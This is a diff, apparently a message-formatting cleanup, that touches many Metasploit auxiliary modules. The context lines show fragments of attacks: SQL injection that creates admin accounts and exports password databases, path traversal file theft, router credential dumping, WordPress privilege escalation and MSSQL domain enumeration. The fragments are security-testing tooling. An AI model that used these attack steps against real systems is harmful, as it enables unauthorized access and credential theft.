'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
@@ -212,7 +212,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
}
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("#{peer} - Could not connect.")
|
||||
print_error("Could not connect.")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -220,7 +220,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if res && res.code == 200
|
||||
|
||||
if res.body.to_s.bytesize == 0
|
||||
print_error("#{peer} - 0 bytes returned, file does not exist or is empty.")
|
||||
print_error("0 bytes returned, file does not exist or is empty.")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -236,7 +236,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
)
|
||||
print_good("File saved in: #{path}")
|
||||
else
|
||||
print_error("#{peer} - Failed to download file.")
|
||||
print_error("Failed to download file.")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -221,7 +221,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
print_error("#{peer} - Fingerprint hasn't been successful, trying to exploit anyway...")
|
||||
print_error("Fingerprint hasn't been successful, trying to exploit anyway...")
|
||||
end
|
||||
|
||||
version = get_version
|
||||
@@ -233,7 +233,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
creds = inject_sql(version < 7000 ? true : false)
|
||||
username = creds[0]
|
||||
password = creds[1]
|
||||
print_good("#{peer} - Created a new Super Administrator with username: #{username} | password: #{password}")
|
||||
print_good("Created a new Super Administrator with username: #{username} | password: #{password}")
|
||||
|
||||
cookie_su = login(username, password)
|
||||
|
||||
@@ -241,10 +241,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Reporting Super Administrator credentials...")
|
||||
print_status("Reporting Super Administrator credentials...")
|
||||
report_super_admin_creds(username, password)
|
||||
|
||||
print_status("#{peer} - Leaking Password database...")
|
||||
print_status("Leaking Password database...")
|
||||
loot_passwords(cookie_su)
|
||||
end
|
||||
|
||||
@@ -308,7 +308,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if res && res.code == 200 && res.body && res.body.to_s.length > 0
|
||||
vprint_line(res.body.to_s)
|
||||
print_good("#{peer} - Successfully exported password database from Password Manager Pro.")
|
||||
print_good("Successfully exported password database from Password Manager Pro.")
|
||||
loot_name = 'manageengine.passwordmanagerpro.password.db'
|
||||
loot_type = 'text/csv'
|
||||
loot_filename = 'manageengine_pmp_password_db.csv'
|
||||
@@ -320,9 +320,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
res.body,
|
||||
loot_filename,
|
||||
loot_desc)
|
||||
print_status("#{peer} - Password database saved in: #{p}")
|
||||
print_status("Password database saved in: #{p}")
|
||||
else
|
||||
print_error("#{peer} - Failed to export Password Manager Pro passwords.")
|
||||
print_error("Failed to export Password Manager Pro passwords.")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -51,11 +51,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Trying to login")
|
||||
print_status("Trying to login")
|
||||
if login
|
||||
print_good("#{peer} - Login successful")
|
||||
print_good("Login successful")
|
||||
else
|
||||
print_error("#{peer} - Login failed, review USERNAME and PASSWORD options")
|
||||
print_error("Login failed, review USERNAME and PASSWORD options")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def read_file(file)
|
||||
|
||||
print_status("#{peer} - Copying file to Web location...")
|
||||
print_status("Copying file to Web location...")
|
||||
|
||||
dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/"
|
||||
res = send_request_cgi(
|
||||
@@ -86,12 +86,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /\{"success":true\}/
|
||||
print_good("#{peer} - File #{file} copied to #{dst_path} successfully")
|
||||
print_good("File #{file} copied to #{dst_path} successfully")
|
||||
else
|
||||
print_error("#{peer} - Failed to copy #{file} to #{dst_path}")
|
||||
print_error("Failed to copy #{file} to #{dst_path}")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Retrieving file contents...")
|
||||
print_status("Retrieving file contents...")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
@@ -101,9 +101,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if res and res.code == 200
|
||||
store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file)
|
||||
print_good("#{peer} - File successfully retrieved and saved on #{store_path}")
|
||||
print_good("File successfully retrieved and saved on #{store_path}")
|
||||
else
|
||||
print_error("#{peer} - Failed to retrieve file")
|
||||
print_error("Failed to retrieve file")
|
||||
end
|
||||
|
||||
# Cleanup
|
||||
@@ -111,7 +111,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def delete_file(file)
|
||||
print_status("#{peer} - Deleting file #{file}")
|
||||
print_status("Deleting file #{file}")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
@@ -125,9 +125,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /\{"success":true\}/
|
||||
print_good("#{peer} - File #{file} deleted")
|
||||
print_good("File #{file} deleted")
|
||||
else
|
||||
print_error("#{peer} - Error deleting file #{file}")
|
||||
print_error("Error deleting file #{file}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -46,21 +46,21 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def run
|
||||
# Create request
|
||||
begin
|
||||
print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
|
||||
print_status("Downloading file #{datastore['FILEPATH']}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'),
|
||||
'vars_get' => { 'schFilePath' => datastore['FILEPATH'] },
|
||||
})
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{peer} - Could not connect.")
|
||||
print_error("Could not connect.")
|
||||
return
|
||||
end
|
||||
|
||||
# Show data if needed
|
||||
if res && res.code == 200
|
||||
if res.body.to_s.bytesize == 0
|
||||
print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.")
|
||||
print_error("0 bytes returned, file does not exist or it is empty.")
|
||||
return
|
||||
end
|
||||
vprint_line(res.body.to_s)
|
||||
@@ -73,9 +73,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
res.body,
|
||||
fname
|
||||
)
|
||||
print_good("#{peer} - File saved in: #{path}")
|
||||
print_good("File saved in: #{path}")
|
||||
else
|
||||
print_error("#{peer} - Failed to download file.")
|
||||
print_error("Failed to download file.")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -44,16 +44,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Trying to access the configuration of the device")
|
||||
print_status("Trying to access the configuration of the device")
|
||||
|
||||
# extract device details
|
||||
action = 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo'
|
||||
print_status("#{peer} - Extracting Firmware version...")
|
||||
print_status("Extracting Firmware version...")
|
||||
extract_data(action)
|
||||
|
||||
# extract credentials
|
||||
action = 'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo'
|
||||
print_status("#{peer} - Extracting credentials...")
|
||||
print_status("Extracting credentials...")
|
||||
extract_data(action)
|
||||
end
|
||||
|
||||
@@ -75,26 +75,26 @@ class Metasploit3 < Msf::Auxiliary
|
||||
return if res.headers['Server'] !~ /Linux\/2.6.15 uhttpd\/1.0.0 soap\/1.0/
|
||||
|
||||
if res.body =~ /<NewPassword>(.*)<\/NewPassword>/
|
||||
print_status("#{peer} - Credentials found, extracting...")
|
||||
print_status("Credentials found, extracting...")
|
||||
extract_credentials(res.body)
|
||||
end
|
||||
|
||||
if res.body =~ /<ModelName>(.*)<\/ModelName>/
|
||||
model_name = $1
|
||||
print_good("#{peer} - Model #{model_name} found")
|
||||
print_good("Model #{model_name} found")
|
||||
end
|
||||
|
||||
if res.body =~ /<Firmwareversion>(.*)<\/Firmwareversion>/
|
||||
firmware_version = $1
|
||||
print_good("#{peer} - Firmware version #{firmware_version} found")
|
||||
print_good("Firmware version #{firmware_version} found")
|
||||
|
||||
#store all details as loot
|
||||
loot = store_loot('netgear_soap_device.config', 'text/plain', rhost, res.body)
|
||||
print_good("#{peer} - Device details downloaded to: #{loot}")
|
||||
print_good("Device details downloaded to: #{loot}")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{peer} - Failed to connect to the web server")
|
||||
vprint_error("Failed to connect to the web server")
|
||||
return
|
||||
end
|
||||
end
|
||||
@@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
body.each_line do |line|
|
||||
if line =~ /<NewPassword>(.*)<\/NewPassword>/
|
||||
pass = $1
|
||||
print_good("#{peer} - admin / #{pass} credentials found")
|
||||
print_good("admin / #{pass} credentials found")
|
||||
|
||||
service_data = {
|
||||
address: rhost,
|
||||
@@ -137,6 +137,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# store all details as loot
|
||||
loot = store_loot('netgear_soap_account.config', 'text/plain', rhost, body)
|
||||
print_good("#{peer} - Account details downloaded to: #{loot}")
|
||||
print_good("Account details downloaded to: #{loot}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||
message = md5 + record
|
||||
|
||||
print_status("#{peer} - Trying to delete #{datastore['RPATH']}...")
|
||||
print_status("Trying to delete #{datastore['RPATH']}...")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
@@ -57,9 +57,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
}, 5)
|
||||
|
||||
if res and res.code == 200 and res.body =~ /<RESULT><VERSION>1<\/VERSION><STATUS>0<\/STATUS><TRANSID>0<\/TRANSID><\/RESULT>/
|
||||
print_good("#{peer} - File #{datastore['RPATH']} successfully deleted")
|
||||
print_good("File #{datastore['RPATH']} successfully deleted")
|
||||
else
|
||||
print_error("#{peer} - File not deleted")
|
||||
print_error("File not deleted")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -72,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
travs << file
|
||||
travs << "%00"
|
||||
|
||||
print_status("#{peer} - Retrieving file contents...")
|
||||
print_status("Retrieving file contents...")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
@@ -95,17 +95,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
|
||||
print_status("Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
|
||||
if is_proficy?
|
||||
print_good("#{peer} - Check successful")
|
||||
print_good("Check successful")
|
||||
else
|
||||
print_error("#{peer} - Sophos Web Protect Appliance vulnerable component not found")
|
||||
print_error("Sophos Web Protect Appliance vulnerable component not found")
|
||||
return
|
||||
end
|
||||
|
||||
contents = read_file(datastore['FILEPATH'])
|
||||
if contents.nil?
|
||||
print_error("#{peer} - File not downloaded")
|
||||
print_error("File not downloaded")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -117,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
contents,
|
||||
file_name
|
||||
)
|
||||
print_good("#{peer} - File saved in: #{path}")
|
||||
print_good("File saved in: #{path}")
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
if res && res.code == 200 && res.body.to_s =~ /Error while creating account/
|
||||
# No way to know whether this worked or not, it always says error
|
||||
print_status("#{peer} - The new administrator #{datastore['USERNAME']}:#{datastore['PASSWORD']} should be checked manually")
|
||||
print_status("The new administrator #{datastore['USERNAME']}:#{datastore['PASSWORD']} should be checked manually")
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
@@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
else
|
||||
print_error("#{peer} - Administrator account creation failed")
|
||||
print_error("Administrator account creation failed")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def get_traversal_path
|
||||
print_status("#{peer} - Trying to find out the traversal path...")
|
||||
print_status("Trying to find out the traversal path...")
|
||||
large_traversal = '../' * rand(15...30)
|
||||
servlet_path = 'getAgentLogFile'
|
||||
|
||||
@@ -86,7 +86,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
},
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("#{peer} - Could not connect.")
|
||||
print_error("Could not connect.")
|
||||
return
|
||||
end
|
||||
end
|
||||
@@ -97,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
fail_with(Failure::BadConfig, 'Please supply the path of the file you want to download.')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
|
||||
print_status("Downloading file #{datastore['FILEPATH']}")
|
||||
if datastore['FILEPATH'] =~ /([A-Za-z]{1}):(\\*)(.*)/
|
||||
file_path = $3
|
||||
else
|
||||
@@ -106,7 +106,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
traversal_path = get_traversal_path
|
||||
if traversal_path.nil?
|
||||
print_error("#{peer} - Could not get traversal path, using bruteforce to download the file")
|
||||
print_error("Could not get traversal path, using bruteforce to download the file")
|
||||
count = 1
|
||||
while count < 15
|
||||
res = download_file(('../' * count) + file_path)
|
||||
|
||||
@@ -119,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
fail_with(Failure::Unknown, 'Could not resolve database server hostname.')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}")
|
||||
print_status("Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}")
|
||||
return
|
||||
end
|
||||
else
|
||||
|
||||
@@ -79,11 +79,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def run
|
||||
|
||||
if user == pass
|
||||
print_error("#{peer} - Please select a password different than the username")
|
||||
print_error("Please select a password different than the username")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Trying a new admin vBulletin account...")
|
||||
print_status("Trying a new admin vBulletin account...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"),
|
||||
@@ -110,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /Administrator account created/
|
||||
print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created")
|
||||
print_good("Admin account with credentials #{user}:#{pass} successfully created")
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
@@ -120,7 +120,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
proof: res.body
|
||||
)
|
||||
else
|
||||
print_error("#{peer} - Admin account creation failed")
|
||||
print_error("Admin account creation failed")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -93,13 +93,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
username = Rex::Text.rand_text_alpha(10)
|
||||
password = Rex::Text.rand_text_alpha(20)
|
||||
|
||||
print_status("#{peer} - Trying to get table_prefix")
|
||||
print_status("Trying to get table_prefix")
|
||||
table_prefix = get_table_prefix
|
||||
if table_prefix.nil?
|
||||
print_error("#{peer} - Unable to get table_prefix")
|
||||
print_error("Unable to get table_prefix")
|
||||
return
|
||||
else
|
||||
print_status("#{peer} - got table_prefix '#{table_prefix}'")
|
||||
print_status("got table_prefix '#{table_prefix}'")
|
||||
end
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
@@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
data.add_part('1', nil, nil, 'form-data; name="ccf_merge_import"')
|
||||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Inserting user #{username} with password #{password}")
|
||||
print_status("Inserting user #{username} with password #{password}")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_post,
|
||||
@@ -124,7 +124,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# login successfull
|
||||
if cookie
|
||||
print_status("#{peer} - User #{username} with password #{password} successfully created")
|
||||
print_status("User #{username} with password #{password} successfully created")
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
@@ -134,7 +134,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
proof: cookie
|
||||
)
|
||||
else
|
||||
print_error("#{peer} - User creation failed")
|
||||
print_error("User creation failed")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
@@ -65,44 +65,44 @@ class Metasploit3 < Msf::Auxiliary
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - No response from the target.")
|
||||
vprint_error("No response from the target.")
|
||||
elsif res.code != 200
|
||||
vprint_warning("#{peer} - Server responded with status code #{res.code}")
|
||||
vprint_warning("Server responded with status code #{res.code}")
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
|
||||
print_status("Authenticating with WordPress using #{username}:#{password}...")
|
||||
cookie = wordpress_login(username, password)
|
||||
if cookie.nil?
|
||||
print_error("#{peer} - Failed to authenticate with WordPress")
|
||||
print_error("Failed to authenticate with WordPress")
|
||||
return
|
||||
end
|
||||
print_good("#{peer} - Authenticated with WordPress")
|
||||
print_good("Authenticated with WordPress")
|
||||
|
||||
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
|
||||
print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
|
||||
print_status("Changing admin e-mail address to #{new_email}...")
|
||||
if set_wp_option('admin_email', new_email, cookie).nil?
|
||||
print_error("#{peer} - Failed to change the admin e-mail address")
|
||||
print_error("Failed to change the admin e-mail address")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Enabling user registrations...")
|
||||
print_status("Enabling user registrations...")
|
||||
if set_wp_option('users_can_register', 1, cookie).nil?
|
||||
print_error("#{peer} - Failed to enable user registrations")
|
||||
print_error("Failed to enable user registrations")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Setting the default user role...")
|
||||
print_status("Setting the default user role...")
|
||||
if set_wp_option('default_role', 'administrator', cookie).nil?
|
||||
print_error("#{peer} - Failed to set the default user role")
|
||||
print_error("Failed to set the default user role")
|
||||
return
|
||||
end
|
||||
|
||||
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
|
||||
print_good("#{peer} - Privilege escalation complete")
|
||||
print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
|
||||
print_good("Privilege escalation complete")
|
||||
print_good("Create a new account at #{register_url} to gain admin access.")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def set_wp_option(name, value, cookie)
|
||||
encoded_value = serialize_and_encode(value)
|
||||
if encoded_value.nil?
|
||||
vprint_error("#{peer} - Failed to serialize #{value}.")
|
||||
vprint_error("Failed to serialize #{value}.")
|
||||
else
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
@@ -87,9 +87,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - No response from the target.")
|
||||
vprint_error("No response from the target.")
|
||||
else
|
||||
vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200
|
||||
vprint_warning("Server responded with status code #{res.code}") if res.code != 200
|
||||
end
|
||||
|
||||
return res
|
||||
@@ -97,29 +97,29 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
|
||||
print_status("Authenticating with WordPress using #{username}:#{password}...")
|
||||
cookie = wordpress_login(username, password)
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
|
||||
print_good("#{peer} - Authenticated with WordPress")
|
||||
print_good("Authenticated with WordPress")
|
||||
|
||||
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
|
||||
print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
|
||||
print_status("Changing admin e-mail address to #{new_email}...")
|
||||
if set_wp_option('admin_email', new_email, cookie).nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Enabling user registrations...")
|
||||
print_status("Enabling user registrations...")
|
||||
if set_wp_option('users_can_register', 1, cookie).nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Setting the default user role...")
|
||||
print_status("Setting the default user role...")
|
||||
if set_wp_option('default_role', 'administrator', cookie).nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
|
||||
end
|
||||
|
||||
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
|
||||
print_good("#{peer} - Privilege escalation complete")
|
||||
print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
|
||||
print_good("Privilege escalation complete")
|
||||
print_good("Create a new account at #{register_url} to gain admin access.")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Attempting to connect and check endianess...")
|
||||
print_status("Attempting to connect and check endianess...")
|
||||
@endianess = fingerprint_endian
|
||||
@credentials = {}
|
||||
|
||||
@@ -72,18 +72,18 @@ class Metasploit3 < Msf::Auxiliary
|
||||
print_error("Failed to check endianess, aborting...")
|
||||
return
|
||||
end
|
||||
print_good("#{peer} - #{string_endianess} device found...")
|
||||
print_good("#{string_endianess} device found...")
|
||||
|
||||
print_status("#{peer} - Attempting to connect and dump configuration...")
|
||||
print_status("Attempting to connect and dump configuration...")
|
||||
config = dump_configuration
|
||||
|
||||
if config.nil?
|
||||
print_status("#{peer} - Error retrieving configuration, aborting...")
|
||||
print_status("Error retrieving configuration, aborting...")
|
||||
return
|
||||
end
|
||||
|
||||
loot_file = store_loot("router.config", "text/plain", rhost, config[:data], "#{rhost}router_config.txt", "Router Configurations")
|
||||
print_status("#{peer} - Router configuration dump stored in: #{loot_file}")
|
||||
print_status("Router configuration dump stored in: #{loot_file}")
|
||||
|
||||
parse_configuration(config[:data])
|
||||
end
|
||||
@@ -175,7 +175,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
disconnect
|
||||
|
||||
if res.blank?
|
||||
vprint_error("#{peer} - No answer...")
|
||||
vprint_error("No answer...")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -186,17 +186,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
unless mark == 0x4d4d6353
|
||||
vprint_error("#{peer} - Incorrect mark when reading response")
|
||||
vprint_error("Incorrect mark when reading response")
|
||||
return nil
|
||||
end
|
||||
|
||||
unless zero == 0
|
||||
vprint_error("#{peer} - Incorrect zero when reading response")
|
||||
vprint_error("Incorrect zero when reading response")
|
||||
return nil
|
||||
end
|
||||
|
||||
unless length == data.length
|
||||
vprint_warning("#{peer} - Inconsistent length / data packet")
|
||||
vprint_warning("Inconsistent length / data packet")
|
||||
# return nil
|
||||
end
|
||||
|
||||
@@ -222,7 +222,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
@credentials.each do |k,v|
|
||||
next unless v[:user] and v[:password]
|
||||
print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}")
|
||||
print_status("#{k}: User: #{v[:user]} Pass: #{v[:password]}")
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
@@ -239,7 +239,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
SETTINGS['General'].each do |regex|
|
||||
if config.match(regex[1])
|
||||
value = $1
|
||||
print_status("#{peer} - #{regex[0]}: #{value}")
|
||||
print_status("#{regex[0]}: #{value}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -39,49 +39,49 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Grabbing the SQL Server name and domain...")
|
||||
print_status("Grabbing the SQL Server name and domain...")
|
||||
db_server_name = get_server_name
|
||||
if db_server_name.nil?
|
||||
print_error("#{peer} - Unable to grab the server name")
|
||||
print_error("Unable to grab the server name")
|
||||
return
|
||||
else
|
||||
print_good("#{peer} - Server name: #{db_server_name}")
|
||||
print_good("Server name: #{db_server_name}")
|
||||
end
|
||||
|
||||
db_domain_name = get_domain_name
|
||||
if db_domain_name.nil?
|
||||
print_error("#{peer} - Unable to grab domain name")
|
||||
print_error("Unable to grab domain name")
|
||||
return
|
||||
end
|
||||
|
||||
# Check if server is on a domain
|
||||
if db_server_name == db_domain_name
|
||||
print_error("#{peer} - The SQL Server does not appear to be part of a Windows domain")
|
||||
print_error("The SQL Server does not appear to be part of a Windows domain")
|
||||
return
|
||||
else
|
||||
print_good("#{peer} - Domain name: #{db_domain_name}")
|
||||
print_good("Domain name: #{db_domain_name}")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Grabbing the SID for the domain...")
|
||||
print_status("Grabbing the SID for the domain...")
|
||||
windows_domain_sid = get_windows_domain_sid(db_domain_name)
|
||||
if windows_domain_sid.nil?
|
||||
print_error("#{peer} - Could not recover the SQL Server's domain sid.")
|
||||
print_error("Could not recover the SQL Server's domain sid.")
|
||||
return
|
||||
else
|
||||
print_good("#{peer} - Domain sid: #{windows_domain_sid}")
|
||||
print_good("Domain sid: #{windows_domain_sid}")
|
||||
end
|
||||
|
||||
# Get a list of windows users, groups, and computer accounts using SUSER_NAME()
|
||||
total_rids = datastore['END_RID'] - datastore['START_RID']
|
||||
print_status("#{peer} - Brute forcing #{total_rids} RIDs via SQL injection, be patient...")
|
||||
print_status("Brute forcing #{total_rids} RIDs via SQL injection, be patient...")
|
||||
domain_users = get_win_domain_users(windows_domain_sid)
|
||||
if domain_users.nil?
|
||||
print_error("#{peer} - Sorry, no Windows domain accounts were found, or DC could not be contacted.")
|
||||
print_error("Sorry, no Windows domain accounts were found, or DC could not be contacted.")
|
||||
return
|
||||
end
|
||||
|
||||
# Print number of objects found and write to a file
|
||||
print_good("#{peer} - #{domain_users.length} user accounts, groups, and computer accounts were found.")
|
||||
print_good("#{domain_users.length} user accounts, groups, and computer accounts were found.")
|
||||
|
||||
# Create table for report
|
||||
windows_domain_login_table = Rex::Ui::Text::Table.new(
|
||||
@@ -179,7 +179,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
(datastore['START_RID']..datastore['END_RID']).each do |principal_id|
|
||||
rid_diff = principal_id - datastore['START_RID']
|
||||
if principal_id % 100 == 0
|
||||
print_status("#{peer} - #{rid_diff} of #{total_rids } RID queries complete")
|
||||
print_status("#{rid_diff} of #{total_rids } RID queries complete")
|
||||
end
|
||||
|
||||
user_sid = build_user_sid(domain_sid, principal_id)
|
||||
@@ -198,7 +198,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
unless windows_login.empty? || windows_logins.include?(windows_login)
|
||||
windows_logins.push(windows_login)
|
||||
print_good("#{peer} - #{windows_login}")
|
||||
print_good(" #{windows_login}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -30,62 +30,62 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
# Get the database user name
|
||||
print_status("#{peer} - Grabbing the database user name from ...")
|
||||
print_status("Grabbing the database user name from ...")
|
||||
db_user = get_username
|
||||
if db_user.nil?
|
||||
print_error("#{peer} - Unable to grab user name...")
|
||||
print_error("Unable to grab user name...")
|
||||
return
|
||||
else
|
||||
print_good("#{peer} - Database user: #{db_user}")
|
||||
print_good("Database user: #{db_user}")
|
||||
end
|
||||
|
||||
# Grab sysadmin status
|
||||
print_status("#{peer} - Checking if #{db_user} is already a sysadmin...")
|
||||
print_status("Checking if #{db_user} is already a sysadmin...")
|
||||
admin_status = check_sysadmin
|
||||
|
||||
if admin_status.nil?
|
||||
print_error("#{peer} - Couldn't retrieve user status, aborting...")
|
||||
print_error("Couldn't retrieve user status, aborting...")
|
||||
return
|
||||
elsif admin_status == '1'
|
||||
print_error("#{peer} - #{db_user} is already a sysadmin, no esclation needed.")
|
||||
print_error("#{db_user} is already a sysadmin, no esclation needed.")
|
||||
return
|
||||
else
|
||||
print_good("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.")
|
||||
print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
|
||||
end
|
||||
|
||||
# Check for trusted databases owned by sysadmins
|
||||
print_status("#{peer} - Checking for trusted databases owned by sysadmins...")
|
||||
print_status("Checking for trusted databases owned by sysadmins...")
|
||||
